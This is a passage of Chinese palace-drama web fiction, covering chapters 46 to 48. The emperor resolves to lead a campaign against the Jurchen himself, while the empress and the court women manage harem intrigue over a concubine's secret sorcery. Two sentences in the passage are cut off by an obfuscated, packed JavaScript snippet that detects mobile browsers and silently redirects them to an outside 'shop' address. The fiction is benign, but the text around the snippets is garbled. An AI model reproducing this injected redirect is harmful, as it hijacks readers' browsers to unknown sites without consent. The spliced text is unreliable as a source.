林绵点了点头,“也是。城儿也有好些日子没见到陛下了,可是叫他撒欢了,成日里跟着师将军往军营里去,他书架子上的书都不知道落了几层灰了。” “哎,上次我还答应玦儿将他写的诗也给他爹爹瞧瞧。恐怕一会儿这孩子回来又该闹我了。”师冉月摇头轻叹,手上的团扇越扇越快,直想把秋老虎扇走似的。林绵笑着从她手中一把抽走扇子,道:“我看呀,你便直接领着太子去清和殿找他,又有何妨呢?难道清和殿的宫人会阻拦你么。” “若是这般,反倒又没意思了。”师冉月嘟囔道。 林绵瞪大了眼,手帕甩到她臂上,道:“你这是说的什么疯话!” 师冉月愣了愣,随意般作出几个笑来,而后像猫一样直直瞪着眼睛盯着林绵,直到林绵败下阵来,笑叹:“好好 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林绵叹道:“我何尝不知道这道理。放在大局,倒没有错,可落在当中每一个人身上,终究是有些可怜了。”未及师冉月再开口,她便吸了口气,重新舒展了眉眼,笑道:“不说这些了,又逢秋日,不该自讨伤感。” 师冉月愣了一瞬,便也笑道:“是这个理。”又看了看外面,道:“今儿天好,不如我们还是去外面走走罢。”比起夏日酷暑,冬日严寒,师冉月总是更喜欢秋日,不冷不热,只要不下起泥泞的裹挟着湿漉漉的寒气的秋雨,便再舒适不过。而比起同样冷暖合宜的春日,秋日没有各式各样的花香和飞絮,天高云淡,更显辽阔自在,也更令她觉得舒爽一些。 二人并肩,慢悠悠地在宫道上走着,也不作交谈,似乎北归途中与同伴离散而又偶然结伴的两只大雁。 音儿跟在师冉月身后几步远的距离,也只默默不语。樱桃的寡母夏天时在老家病故,家中剩下两个尚未及笄的妹妹,樱桃不忍将他们交由叔伯随意嫁人,便向林绵请求归家,如今已经销了宫籍离开了宫中。如今跟在林绵身边侍奉的是原先就在她宫中做事的一个叫彩袖的宫女,才刚十七岁,稳重是稳重,却不大爱讲话,与音儿等人从前不过几面之缘,也不便闲谈了。 这般回忆着樱桃还在宫中的日子,甚至是从前还在楚王府的时候,音儿看着地上枯败的花草,也忍不住在心下感慨起物是人非来,以至于木莲在她身后连着唤了她好几声“音儿姑姑”,她才猛地醒过神来。 “怎么?” “皇后娘娘和贵妃娘娘这是要去哪儿啊?”木莲手里还捧着师冉月的披风,一袭镶着银白狐毛的月白色披风叠了几叠捧在她手上,垂下的下摆还是快要把她半个人遮住的样子。 眼瞅着前面二位主子已经略过了画院、书院、尚衣局和御花园,现在兜了一大圈子复又往南走了回去,快要把大半个后宫都逛完了也不嫌累。 “眼看着要到晌午了——” “别多嘴,只管跟着就是了。”音儿低声道。 木莲瑟缩着眉眼噤了声,退了小半步垂下头,又跟在了音儿身后。 音儿看着前面的师冉月,心下晓得她大概又神飞天外,脚下有路就走,可能大概根本就不知道自己走到哪儿了。这般状况,也只能等她自己饿醒了,或者腿酸脚麻累得受不了了才能停下,又或者寄希望于林绵何时累了,主动与师冉月提议回宫。 这般没目的地又走了一会儿,音儿听着身后木莲的脚步声越发沉重,正捉摸着要不要自己上前去提醒一二,众人便听见一旁楼阁中传来盘碟打碎的脆响,紧跟着便是一声惊呼。音儿连忙上前到师冉月身边,道:“娘娘没被吓着罢?” “没有,别担心。”师冉月浅笑,拍了拍她的手。 林绵皱眉道:“这是江才人的攸宁阁罢?” 彩袖答道:“是的,娘娘。” 音儿道:“娘娘可要过去瞧瞧发生了什么?” 师冉月思索了一会儿,轻轻摇了摇头,道:“没必要上赶着找事做。也快晌午了,绵姐姐,不如我们便先各自回宫罢。” 林绵点了点头,行礼告辞,便带着自己宫中的人快步离开。 师冉月叹了口气,转身往坤宁殿的方向走,一面又低声对音儿道:“找个可靠的人到攸宁阁打听打听,别再出什么岔子。” “明白。” 47. 第 47 章 晚间端木玦下学回来,果然又提到要将诗作给端木玄看的事儿,师冉月便也顺着他的意叫小厨房准备了几道端木玄爱吃的菜,赶着晚膳的时候领着端木玦到清和殿去。 她素来了解,端木玄近日整日呆在清和殿,并非是有一刻都离不开的政务,只是事情稍有些多且杂,倘若往返后宫,一来二去路上耽误的时间对他来讲并不划算,因此他宁可自己在殿中忙些旁的事,比如读读无关的文章,拿起佩剑随便比划两下,或者看看沙盘地图,写写字......而后宫中等着恩宠的妃嫔,若是只知道“安分守己”地在宫中空待,必是没有任何结果的,唯有像江映一般主动到清和殿找他,才能顺势得了恩宠。 饭后没一会儿,端木玦便垂着眼睛哈欠连连,师冉月便叫合月先带他回了坤宁殿。 殿内没有什么别的伺候的人,只留了音儿和近黛两个。 端木玄靠在椅背上,闲散非常,一副半睡不睡的模样。他素日里的常服也仍是那些“死气沉沉”的颜色,不是玄色便是藏蓝、深青、银灰一类。坐到清和殿中不再四处奔波的日子反而叫他清减了一些。师冉月端详着他,倒不见从前京城初见时他那番老谋深算又意气风发的样子,如今他的思虑和谋划似乎在心中已经藏不下了,越发外显起来,这般看似闲适的样子却是满脸疲惫。 他似乎想做穆宗或者武宗那样深谙帝王之术的老狐狸,如今却有点像元宗那样力不从心。不过这样的神态他自然不会显露在外,仍旧总是习惯伪装成一副云淡风轻置身事外的样子,因此也格外劳累些。 师冉月轻叹了一声,走到他身旁,看着书案上零零散散摆着的几篇他临的碑帖,旁边摆着的两幅拓印下来的墨稿甚至已经被茶水洇湿,折子倒是都整整齐齐摞成一摞,不过都摆在书案旁边的小几上,一瞧就已经有一阵子无人问津了。 “听说百姓已经对东北的事有所议论。” 端木玄从鼻腔中“嗯”了一声,缓缓睁开眼。 “若是纳真夺位叛乱,我们可要出兵?”师冉月问出口便自觉问的是一句傻话,若是纳真反叛,哪有不出兵的道理。 端木玄自然听了出来,笑了笑,却难得未出言顶她,只是探身,伸手在那些折子里翻了翻,找出一本轻轻撇到她面前。 师冉月也不推辞,自己拿起折子看了一遍,道:“户部的意思是如今国库中的存银不够支撑北伐,建议派遣使臣议和。”轻笑一声,又道:“虽说户部‘量入为出’,倒没有什么错处。可这些年无论遇到什么事,户部便只有‘缺钱’这一项,却从来没人能给个法子解决。” “生财一事,本是商贾思虑,虽说我朝科举取士并不限出身,商贾之后也可科考入仕,但纵使他们懂得如何经商,那也是为一家生财之道,而非一国生财之道,倒也不怪他们。何况商贾之家赚取钱财也是需要本钱的,我们现在连本钱都拿不出,又如何生财。” 端木玄叹了口气,直了直腰,又道:“先前新科选上来的进士白束道和落桓提议修变税法,众人议论纷纷,沈案之便提议说先选几个州郡做试验。官成潜又说,变革税法,不如先重开考绩,虽然你三哥所言有理,但朕还是着人推行......是处置了些人,但也不过是出头鸟、替罪羊,算不上什么成效。蒋节那市舶司如今也是频频受阻,进退维艰。” “蒋大人有景大人从旁协助,也没什么用处么?” “景宗朝也不能自断根系罢?”端木玄道,“我已经又派了使臣出关,一是探清如今东北的情况,二则试试能否谈判止戈,前日传回来的消息是纳真不仅意在互市,且要我们效仿前朝送上岁贡,否则待他内部事了了,就要立刻向我们发兵。” “我们又未曾兵败于他们,何谈岁贡?” “纳真大概也知道我们不会同意,说这些只是应付了事,根本只是想与我们开战罢了。” “真是个疯子,为了自己那点野心,全然不顾社稷民生了吗。”师冉月有些愤懑。 “无论如何,只要纳真反叛的消息坐实,就立即出兵东北,并且朕将御驾亲征。”端木玄道。 师冉月闻言怔愣,几乎反应不过来自己听到了什么。 端木玄继续道:“最近宫里的吃穿用度都能省则省,既然一时无法开源,那便节流,就从宫中开始。” “先不说这些——你要亲征?”师冉月看着端木玄那一副不置可否的表情,一口气哽在嗓子里差点说不出话来,“你知不知道你现在是一国之君,不是王爷也不是世子,亲征意味着什么你可有想过?自古除了开国之君开疆拓土,再不然就是到了国家危难的关键,非君王亲征不能鼓舞士气的时候才有亲征的例子,如今连纳真反叛的消息都还没坐实,你怎么会想到要去亲征?” 近黛和音儿默默合上窗子。 “皇后在担心什么?” “我没有在担心什么——我只是觉得荒谬。”师冉月扶额在一旁的椅子上坐下,看着端木玄的神情,她脑中突然闪过一个更荒谬却又莫名合理的缘由,话也随之不假思索地像没打磨好的粗糙的刀刃一样问出口:“你不会是想借着亲征的由头出去转转罢?” “是。”端木玄直白道,“这清和殿太闷得慌了。” 师冉月哽住。她简直不晓得该用什么样的反应来面对端木玄这般的直白。荒唐,她想,这样的话竟然是他先说出口的。 心中莫名涌上控制不住的委屈,她匆匆转过身去,表情狰狞地想要忍住眼泪。音儿担心地上前半步,她却摆了摆手制止了她,吸了口气,转过身看向端木玄,气声般轻叹道:“你是皇帝,端木玄。” “我知道。”端木玄垂着眼睫,面孔像深秋暗绿色干瘪的没有汁液的草,在灯火通明的大殿中也没有什么光亮。他的目光落在那些墨色的字上,干涸的墨汁还带着笔痕,缓慢而饱满,刻意而冷淡,看不出情绪。他脑中如今纷乱又空白,方才一句任性的感叹并没有让他好受些许,连师冉月一反常态的的质问也没有唤回他的理智。 一片死寂。 良久,师冉月起身在端木玄面前站定,恭身肃声道:“陛下登基二载,寰宇初定,而纳真意欲扰我大淮边境,陛下不忍边关百姓受苦,先发制人率兵亲征。臣妾愿为后宫表率,献黄金二百两,为前线将士添衣。” 她垂着头,眉眼都隐没在阴影中,看不真切。收敛整肃的身形像是无声的妥协,又或者她根本没有妥协,而是又回到了某个套子里,对任何事都不喜不悲。 端木玄亦未曾尝试着与她对视,眉心拧着,半晌才叹道:“此次事情了了......便请皇后代朕赴江南各郡巡游罢。” 师冉月微微抬了抬头,道:“巡游劳民伤财,陛下三思。” “微服私访,只私下传旨各郡府官员接待护送,至于宴请等事,随皇后的便。” 师冉月心下冷笑,却已然懒得多说,只想赶紧离开这大殿,好自己去收拾一番情绪。她敛着目光又行了一礼,轻飘飘道:“臣妾领旨。”旋即也不再多留,也不等端木玄说些什么,又道了句“告退”便匆匆离开。 音儿提着裙摆,差点在宫道上跑起来,才勉强追上师冉月的步子。 “娘娘,娘娘......姑娘,你这是要往哪去,这不是回坤宁殿的路。” 师冉月仿若突然被唤醒一样,霎地停下脚步,慢慢呼出一口气,沉声对音儿道:“去找烟水来。” “姑娘忘了,烟水半个月前被陛下派出宫了,临走前还来坤宁殿看了你和小殿下,如今清和殿只有近黛在侍奉,想来烟水还未回来。” “那把合月叫来。”师冉月声音冷淡,像刀刃垂直砸进地里般不容置疑,“她们自己一定有联系上的法子,无论如何把陛下打算亲征的消息传给烟水——也只能传给烟水知道。” “好。”音儿应道,又道:“那侯府那边......要不要告诉侯爷和长公主?” “不必,此事到如今为止尚且与他们无关。”倘若烟水能阻止端木玄亲征的念头,那么这件事就没必要更多的人知晓,即使是师霖。这般想着,又道:“出兵东北已经是板上钉钉的事情了,四哥在军营里相必早就消息灵通,也用不着我们多事,免得前朝猜忌。” 缓了口气后,师冉月仍是忍不住皱眉,慢慢往坤宁殿去,直叹道:“他如今全没个正形,简直是......拿皇位当儿戏了。” 音儿却带着点笑意,轻轻道:“我怎么觉得,姑娘其实是担心陛下的安危呢?” 师冉月却不带一丝犹豫,淡然道:“我只是不想多些麻烦。” 她如今觉着,最大的省心,莫过于端木玄安坐于朝堂,师家地位稳固,便一切都不需要她来多打算。何况离复景元年外放的举子回京述职及调任的年份越来越近,她总觉得心中不安。如今朝中多是师家一党,或是慕州旧臣,彼此利益牵扯,虽有小打小闹,但大事上终是利益先行,因此便相安无事。可若是那些年轻气盛的调任回京,必然看不惯这等光景,可端木玄又要用他们制衡老臣,彼时想必她这个皇后也做不太消停了。 至于说,夫妻情分,她如今倒是懒得多想。 须臾回了坤宁殿中,烛火熄了一半。将合月找来,问了端木玦晚间的状况,又说了此事,便也卸下钗环去梳洗。折腾了一番终于就寝,却又思虑重重,辗转不得安睡,一会儿功夫便觉得汗湿了满身不大舒服,又恐怕骤然掀了被子着凉,便将被子小心地掀开一个角慢慢透气。夜里的凉风丝丝漫延进皮肤,身上舒爽了些许,却也教她更精神了几分。 她微微抬起身往外探看,今夜守夜的春桃已经打起了瞌睡,于是她便又悄声躺了回去,只自己一个人瞎想着打发时间。 她自然晓得端木玄有将领之才,从前西南之役、守卫西北,以及后来起兵勤王围城逼宫,多半仰赖他的指挥之才。将帅须得随军而行,才能更快随机应变,毕竟战场上一草一木的变化都有可能牵一发而动全身,这也是她自小就从二哥那些讲兵法、谋略的书中习得的道理。加之如今,国无将帅之才,原先有经验的将军大多死于前些年的政变,或者早早看清局势解甲归田。 而今在朝的将领,多似她四哥师骁,论武艺尚可,论谋略则不知虚实,恐怕纸上谈兵,的确不太能教人放心。那些女真人又是生来长在马背上的,骁勇善战,听说无论男女老幼皆能上马作战,自然不能当作一般的番邦或是部落叛乱来看待。林林总总思及此,她倒觉得端木玄亲征无不道理,虽然他有私心。 他像苍鹰,或是头狼,至少从端木横将他接到楚王府开始。他向往苍山之巅,也一步一步爬了上去,却不想那是一座金雕玉琢的牢笼,教他再也不能翱翔驰骋。 她为他开脱,又觉得他自作自受。 可她自己呢。 她素来不太敢细想。 就这样混混僵僵,竟也过了新年。 复景三年二月十一,端木玄下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226162|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诏,以兵部尚书王祥兼辅国大将军、崇左指挥使谭梁为右卫上将军、与左卫上将军林守贯、冀州太守沈崇古并燕王端木敬分领各路兵马,发兵女真,御驾亲征。 次日,端木玄复又下诏,其亲征期间,请太子太傅师霖为太傅监国。又因皇后有孕,诏缙云长公主进京,与云和长公主可随时入宫,协理后宫事。 今年倒春寒十分厉害,这会子京城的草木尚未发芽,偶尔吹过面颊的风也似是裹了冰碴,教人不欲在外面多待片刻。 早几个月师骁加了散骑常侍,前些日子又领了兵部侍郎,此次亦要随军去往东北,竟不归家,只遣了两个随从回家取些御寒保暖的衣物,便要自军营直接随军开拔。 端木玄原本倒没想着将师骁派往前线,然而一则师骁主动请命,二来他下旨师霖监国后,刑部尚书孙式、工部尚书刘晦、户部侍郎毕衡还有谏议大夫唐允等人联合上书,话说的委婉,但那意思左右是怕端木玄离京后,身为国舅的师霖师骁兄弟二人一文一武临朝称制,甚至联合后宫的师皇后发动政变拥立太子继位为新帝。端木玄便遂了众人之意,教师骁领了兵部侍郎,也领一队人马往东北去。 比起外面,诺大的师家宅院里今时倒是更冷上几分,连窗格上孩子们年前贴上的火红的窗花和福字都莫名跟着显得肃杀起来。 “你也不必为了他生些闲气,免得自个儿伤身。”岳诗韫亲手给张雁面前的茶盏添了热茶,少见多言道:“自从回了京城,子锋也只是逢年过节的才肯回来,成日里不在一处,你的日子不也过得好好的?” “母亲说的是......我只是想着,出征到底不比平日里在营中训练,若是有个万一......他若不肯见我,孩子们也挂念他,总该让他们见一见。我听说,前面也没那般着急,回来一趟的时候总是有的。” 岳诗韫却冷哼一声,“他自小的性子就是个拴不住的,谁也不惦记,你也不必为了他费力气。” 张雁仍旧眼神惆怅,捧着渐凉的茶,不知道在想些什么,瘦削的身子即使裹着厚厚的狐绒大氅也像是一枝贫瘠的腊梅,薄薄的一层皮裹着突兀的骨头。 岳诗韫瞟了她一眼,自觉想说的话都说了,也懒得多留她,便道:“过会儿孩子们该下学回来了,你也不必对他们多解释什么,这日子该怎么过,就怎么过。” 张雁乖觉起身告辞,自己一个人慢慢踱着步子往回走,见满院草木都还是一片枯灰色,池子里的水虽未结冰,却也像是凝固着一样死气沉沉,周遭浮着一圈没被清理掉的苍绿色的苔藓似的东西,糊在池边,像是什么东西死去的躯壳。孩子们还有片刻才从前院家塾回来,后院这当会儿也见不着几个人影,一点生机都没有,直叫人心气儿落败。 这当厢快走到留容轩,念着怕碰见端木萌,定又要因着师骁的事对她好一阵关心,可张雁自觉如今受不得这种关心,便又快了些步子绕开,先回了自己的院落。 张雁虽避着,端木萌也不能免了挂心,却也晓得她这会儿躲着自己,便只向穿得像个绒球一样下学回来的师言和棠欢打听:“你们四姐姐他们这两天瞧着怎么样?可还好?他们可曾说你们四婶婶怎么样?” 师言三下两下扯下来身上的披风,道:“没怎么——我饿了娘,有没有点心吃啊——五弟反正是好着呢,不过二哥去了太学,没人陪他斗草下棋,看着有些无聊罢了。四妹妹和五妹妹成日里都是那个样子,也看不出来什么。”他一手拿了个红豆糕,另一手又拿了一个多蘸了些蜜,等着棠欢慢吞吞脱下像个青团似的竹青的毛茸茸的披风,换上屋里穿的桃红小衫,又净了手回来接过哥哥手里的蜜糕。 “那四婶婶呢?”端木萌追问。 棠欢只啃着红豆糕,摇摇头道:“不晓得呀。” 对上母亲移过来的眼神,师言拍了拍手上的糕渣,接过来绮香递上的手帕,摊手道:“我也不知道。” 端木萌撇过眼睛,叹气道:“你们两个小没用的——真是!”婷欢这两日与景安两个去了岳府,被端木葭留下小住,估摸着得等她们的表姐岳佳出嫁了才回来,便也无从依靠。思来想去,道:“四哥儿,你去你二伯母院里,把你三哥找来。” 师言撇嘴:“我不去。” 棠欢在一旁笑道:“四哥和三哥吵架了。” 端木萌瞪大了眼睛,奇道:“你三哥那么沉稳的性子,你怎么惹着他了?” 师言忿忿地扭过头不说话。棠欢替他说道:“四哥想逃学去苍云江,被三哥知道了告诉了先生,四哥没去成,就不理三哥了。” 师言听到棠欢把他要逃学的事说出来,紧张地缩着脖颈,悄悄抬眼觑着端木萌脸色,却只见端木萌低头嗫嚅道:“苍云江......为什么想去苍云江?” 师言小声道:“因为......上次我们去的时候,碰见那块有个道观,观里有个小道士会做木工,送了我们三个装蟋蟀的木笼子,做的可精巧了......二哥去太学前还嘱咐我和五弟有机会要去回礼来着。” “啊,是这样。”端木萌轻声应着,也不晓得听没听进去,却没追究师言逃学的事,只道:“不过你三哥到底没错,你还是快些去与他道了歉,把他给我叫来......一并和你二伯母与三姐姐,叫他们今晚就在留容轩用饭,我叫厨房做荷叶鸡,还有逢州送来的新笋煲的汤。” “好——”师言不情不愿拖着长声,拽下自己的披风又跑了出去。 48. 第 48 章 自从端木玄一行人出了京,前朝紧锣密鼓关注着前线状况,以及师霖在前朝有没有越职之意,对后宫倒是不大着眼了。师冉月便以自己有孕倦怠为名,将原先因着言官弹劾而被迫每三日着各妃嫔定省一次的规矩又给免了,改作每十日一次,自己闲着没事也不出坤宁殿,免得徒增麻烦。 “吴姐姐,这么巧。” “俞妹妹,你这是要去哪儿呀?”吴秐回了礼,笑道。 “我去坤宁殿找皇后娘娘呀。” 吴秐脸色变了变,拉着她的小臂低头凑近,低声道:“俞妹妹,我劝你这会子还是少去坤宁殿为好。” “为什么?” “皇后娘娘将定省改作十日一次,本就是想少见外人的意思。如今她的胎还未坐稳,万一有个什么闪失,你可要当心惹上麻烦。” 俞安乐瞪圆了眼睛,向后倾了倾身,发髻上的步摇串珠也跟着晃了晃:“娘娘不是那样的人,若不是我的过错,说句不该说的,就算真有闪失,娘娘也不会赖到我这儿的。” 吴秐却煞有其事般接着道:“娘娘是明事理的人,可旁人不一定这般想。这可是陛下登基后的第一个皇嗣,举朝上下都盯着,如今前朝又是师太傅在监国......” “那又何干?”俞安乐眉梢扬了扬,却只是不动声色抽回了自己的手,冷声道:“吴姐姐有什么事不妨只说,不用与我在此处绕弯子。”说着便要走。 吴秐却不依不饶,上前一步拽住她的手腕,道:“妹妹难道忘了去年冬天江才人的事?” 俞安乐顿了顿,却很快回过神,只道:“吴才人不必与我在此处打哑谜,有什么目的还是直说的好,若是没有紧要的事,还是不要妨碍我去坤宁殿了。”说罢,也不再管吴秐又要说些什么,自顾自甩开她转身快步走了。 坤宁殿这厢倒是热闹得很。端木暄进京后便直接住在了偏殿中,又逢今日端木萌也进了宫,加上林绵过来看望,比起原先倒还更喧闹几分,连树上鸟儿叽喳的叫声也不那般突兀了。 四人围坐在廊下,笼着火炉,在上面烤着板栗和芋头,旁边温着茯苓红枣茶,还有一壶端木萌“特意为端木暄”开的桃子酒,甚至不远处院子里春桃和薛德保带着几个人还搭了炉子烤了两只荷叶鸡并一只烧鸭,香味儿不一会儿就传的满宫都是,惹人垂涎。 林绵笑着对端木暄道:“只有皇后娘娘这儿才有这么多好吃的。你难得进京,可以一饱口福了。” “原先在慕州时也听人说过,娘娘在厨艺上别具匠心,可惜那时事情匆忙,总是难得一聚,便也没福气沾到娘娘小厨房的光了。”端木暄笑得温吞。 师冉月笑了笑,正要说什么,宫女满絮进来道:“娘娘,俞才人来了。” “请她进来。” 俞安乐微微皱着眉,快步走进来,见到其余几人愣了一愣,不过还是迅速反应过来一一行了礼。林绵不必说,端木萌在宫中也是见过几次,唯有坐在师冉月对侧的一身低调的月蓝色衣裙的女子她并不识得,却能瞧出眉眼间有几分与端木玄神似,便试探道:“这位可是缙云长公主殿下?” 端木暄起身,欠身回礼,微笑道:“是我。初次见面,俞娘娘安好。” 俞安乐忙道:“不敢当。” 师冉月笑道:“在我这儿没有外人,不拘礼节,你们也不必让来让去的了,快都坐下罢。满絮,给俞才人也上茶来。” 林绵道:“方才见妹妹走进来一脸忧愁,是有什么事要说与娘娘么?” 俞安乐忙笑了笑,道:“没有,没有......妾只是想来看看娘娘。” 林绵与师冉月对视一眼,便道:“那便好。今日你可是来着了,娘娘着人弄了两只鸡和一只鸭子来烤。” 端木萌道:“阖宫上下也就你能在宫中做出搭炉子烤鸡这档子事,怪道宫外那些老古板一个个恨不得上八百个本子来参你,说你全没个皇后的样子,不能做天下女子的表率。” “他们不过希望自己妻女都恪守闺训贤良淑德,甘愿顺从服侍男子罢了。若是朝中换作女子做官,男子持家,还不知道是个什么光景。”林绵不屑道。 “说不准彼时女子也可以三妻四妾享‘齐人之福’了。”端木萌笑道。 师冉月却推她:“满京城这些夫人只你一个家中没有妾室,竟还大言不惭说出这样的话。” “怎么只我一个了?镜妤难道不是?你四嫂子难道不是?还有我那姐姐——” 师冉月忙道:“好好好,不止你一个,可行了?” 端木萌自知失言,顺势笑着不再作声。先前端木玄令师霖监国的旨意一出,皇族一干宗亲戚里中,怀宁长公主端木葭是头一个跳出来反对的,直言天下姓“端木”而非姓“师”,端木玄这般妄为是违背了祖宗家规,教列祖列宗蒙羞如是。有她带头,一些个公主和藩王郡公也跟着上书附和。端木玄只压下不表,但此后安排师霖监国诸事照旧,意思便也很明了了。又因着端木齐、端木阳两个自始至终完全沉默,端木萌也未发言表态,燕王、齐王、安王等几个势大的藩王也未有异议,此事很快平息了下去,众人也自觉避讳,自觉避开与怀宁长公主相关诸事。 师冉月心下晓得端木玄对此事的态度,虽不觉得怀宁长公主此举有错,但只觉得她凭空生事,徒增心烦。不过因着其女岳佳已经许给了左卫上将军林守贯的第四子,如今北伐女真,正是用人的时候,便只作无视。 彼时林绵听说了此事还颇为诧异,与师冉月说:“如今岳家基本覆灭,她的亲妹妹又在师家,为何竟突然如此坚决,不惜与师家对立呢?” “我倒觉得这也不算是与师家对立,她只是在履行她心中一国长公主的责任,一贯如此。” 说好听了叫坚守原则,说不好听就是不识时务。 这会儿岔过了话,又捡了些无关的事闲谈,喝了会儿茶,时至正午,那边的鸡鸭也烤好了,众人便把心思放在了吃喝上,又这么聚了一会子,端木萌便道要回去午歇。端木暄也随着告辞回了偏殿。 俞安乐见状也要走,林绵却拉住她,道:“如今两位长公主都不在,你有什么事尽可说了。” 师冉月也点头示意。 俞安乐便叹道:“原不想扰了娘娘清净,只是妾思来想去,怕有对娘娘不利的事——今早妾来坤宁殿时,路上碰见了吴才人,上来闻说妾是要来看望娘娘,便劝妾不要常来坤宁殿,免得......会惹上什么意外。她一直纠缠,妾本想脱身,但是她却提到了去年江才人的事。” “江才人......”林绵沉吟。 师冉月凛色道:“吴才人都说了什么?” “吴才人只是说‘妹妹难道忘了去年冬天江才人的事’,而后妾不想与她多纠缠,便没再听她继续说下去。”俞安乐看着师冉月骤然冷下来的脸色,说得越发小心翼翼,然而口齿却清晰坚定。 林绵看了眼半低着头神色不明师冉月,心下叹息。 那会儿快要到腊月。 烟水是赶着宫城大门落锁前一瞬回来的。冬日的夕阳已经快要垂到地平线下,一点点余晖拖得人和马的影子老长。众人只看见几个时辰内,烟水先回了清和殿,又去了坤宁殿,之后数次往返,直到四更才又从坤宁殿出来,回到自己的住处。 而她到底与帝后二人说了些什么,外人一概不知。 因着此事,那夜师冉月几乎未能安寝,次日午睡时便昏沉了些。音儿不忍叫醒她,任她一梦醒来天已经又悠悠转昏。害怕当晚又睡不好,师冉月便顶着睡得昏昏沉沉的脑子强撑着起来,才挪到桌子前倒了杯茶醒神,徐聆雨便“闯入”了坤宁殿。 想要通报的春桃跟在后面,竟没追上,迎着师冉月的目光慌忙道:“娘娘,徐昭仪来......” 师冉月对上还在喘着粗气的徐聆雨狼一样的眼神,安抚地看向春桃,又屏退一众宫女太监,只留她和音儿,还有徐聆雨和她的侍女湖亭。 “何事这般急——”话音未落,徐聆雨气儿还没喘匀,便道:“江映见红了。” 师冉月登时站起身来,与之相伴的是剧烈的头痛:“怎么会见红?请太医了吗?” 徐聆雨摁住她的手,继续道:“已经叫了许太医。见红,但不是孩子。她在宫中行巫蛊求子,不知道听了哪个巫医的话乱喝了什么东西才见了红。此事是孙姝妙发现的,她已经被我扣在了云怡阁。” 师冉月看向徐聆雨眼底,她晓得她的意思:要不要保江映。 “巫蛊”二字在宫闱中向来讳莫如深,江映一向似是心机谋算极深的人,不晓得为何竟会做出这样冒险的事。 “孙姝妙知道多少?”师冉月沉声道。 “全部——我所知就是她所知,她以此向我投诚。” “投诚?她不是早就向你投诚了。”师冉月盯着徐聆雨深棕色的眸子,挑眉,“那你现在是在做什么?向我投诚?” 徐聆雨昂了昂头:“若是陛下知道了江映的事,难道被孙姝妙投诚的臣妾能脱得了干系么?”她轻勾嘴角,道:“臣妾这是在借娘娘的势。” 师冉月无心与她在此处较量,“无论如何,先与我去趟攸宁阁罢。”说罢迅速回去随意换了身衣裳,出来时又嘱音儿道:“告诉合月不要让玦儿出坤宁殿,再去告诉近黛,只说近日江才人身子不适,不能侍寝......去找蒋才人,叫她今晚去清和殿给陛下送酒。” “明白。” 徐聆雨默默立在一旁,看着她这般吩咐下去,跟在她身侧快步走向攸宁阁,神色晦暗不明。 “你不用多想了。”师冉月蓦地出声,向俞安乐道,“江才人是老毛病,身子不适,所以主动向我请求暂时不去侍寝。请太医日日去攸宁阁也是为着她的病。” 俞安乐懵懵地点了点头,道:“那这件事与我来娘娘这儿有什么关系呢?” “兴许是......”师冉月冷笑道,“吴才人觉得是我看不得江才人得宠,蓄意构陷了她教她不能再侍寝罢。” “原是这样。”俞安乐笑开,“谢娘娘解惑。” 这般俞安乐又留了一会儿,闲扯一二,便告辞离开。 林绵方才一直沉默不语,只后来闲扯时应和一两声。这会儿从窗子中眼见俞安乐离开,才道:“吴秐怎么会知道这事?当时可能泄密之人不是都清理干净了么......难道是孙姝妙?” “她虽心急,但脑子还算清醒,也惜命。兴许是旁的地方漏了口风,或者吴秐也只是猜出来一二,以此借着俞安乐来试探我罢了。” “兴许是江映之后你将蒋纹扶了上去,没有如约为她引荐呢?” 师冉月闻言苦笑:“她原本也未曾指望我为她引荐。我此次保下江映,是看在新入宫这一批唯有她一个算是真真的明白人,加上那阵子陛下为东北之事烦心,也无心后宫之事。徐昭仪保她的考量我无心去琢磨,但她保下江映,原本就是保下孙姝妙——若是孙姝妙将此事捅到陛下面前,处置了江映之后,陛下也会自心底将孙氏一并厌弃了,于她并无好处。至于引荐,孙氏自始至终依靠的都是徐昭仪,她与她如何商谈于我无关。” 林绵那时自始至终置身事外,虽听到一些风言风语,但也只保持沉默,甚至为了避嫌,无事不出宫。她叹了口气,只道:“罢了,左右如今有人蓄意生事也无妨,这宫里全凭你做主。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226163|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师冉月颔首不语。 “你也不必多想,还是养胎要紧。” 提及此事师冉月就忍不住叹气——怎生她就又有了身孕?好不容易端木玦日渐长大可以脱了手,这边就又有一个将要降生,真是一点消停日子也无。 “我只盼着这回得一个公主就好了,像大公主那般懂事乖巧的。” “你哪里至于这样说?太子也是个沉稳的性子,只不过小孩子都爱玩些罢了。俗话都说‘外甥肖舅’,我瞧着呀,太子将来恐怕会是你大哥那般模样。” “像我大哥二哥都无所谓,只要不是像我三哥四哥就好了。” 棠欢放生的灰山雀振翅飞远,窗前飘摇的柳枝上生出星星点点的嫩绿。 林守贯尚在边关,但林、岳两家的婚事还是如常举办。虽说岳氏如今人丁凋零,但好歹还有怀宁长公主坐镇,十里红妆洋洋洒洒,也算是复景三年开春京城头一件热闹事。 “娘,表姐既然已经出嫁了,是不是大姐姐和二姐姐就该从姨母那边回来了?” “是啊,明日一早你大姐姐和二姐姐就回来了。” “太好了太好了,我要去找三姐姐,明天大姐姐和二姐姐回来我们要给她们看我们新画的纸鸢!”棠欢高兴地转着圈在屋子里蹦蹦跳跳,又拉着绮红就要去端木婉的院子找莞安。 绮香笑着蹲在她身前给她系好帷帽的系带,系带上的两个小铜铃跳跃着“铃铃”响个不停。 